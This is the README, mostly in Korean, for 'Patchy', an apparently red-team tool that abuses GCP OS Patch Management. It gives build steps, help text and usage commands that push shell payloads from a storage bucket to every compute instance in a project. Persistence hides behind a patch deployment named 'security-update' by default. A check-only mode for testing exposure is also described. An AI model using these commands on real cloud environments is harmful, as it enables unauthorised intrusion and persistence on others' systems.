
GCP 패치 관리를 사용한 자동화된 지속성 및 측면 이동
GCP OS 패치 관리를 악용한 자동화된 측면 이동 및 지속성 도구입니다. 기반: 블로그 포스트.
Patchy는 두 가지 주요 모드(측면 이동 및 지속성)로 구성됩니다. 지속성 모드는 유효한 서비스 계정 자격 증명을 사용하여 패치 작업 또는 배포를 생성합니다. 측면 이동 모드는 프로젝트 내 모든 컴퓨트 인스턴스에 대한 액세스를 시도합니다. 사용하려면 메타데이터 API를 사용할 수 있는 GCP 환경 내에 있어야 합니다. 측면 이동 모드는 공격적인 시도 없이 익스플로잇 가능 여부를 확인할 수 있는 모드도 제공합니다(환경이 안전한지 확인하는 데 유용).
기능 제안은 이슈를 열어주세요. 문제가 있으면 수정 사항과 함께 PR을 생성해 주세요.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
참고로 go 1.19 이상이 필요합니다.
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
로컬 GCP 환경 내 서비스 계정 익스플로잇: myBucket은 페이로드를 호스팅하는 공개 버킷 이름입니다.
$ ./patchy -b myBucket lat -e
JSON 형식의 서비스 계정을 사용하여 지속성 설치:
$ ./patchy -b myBucket persist -c serviceAccount.json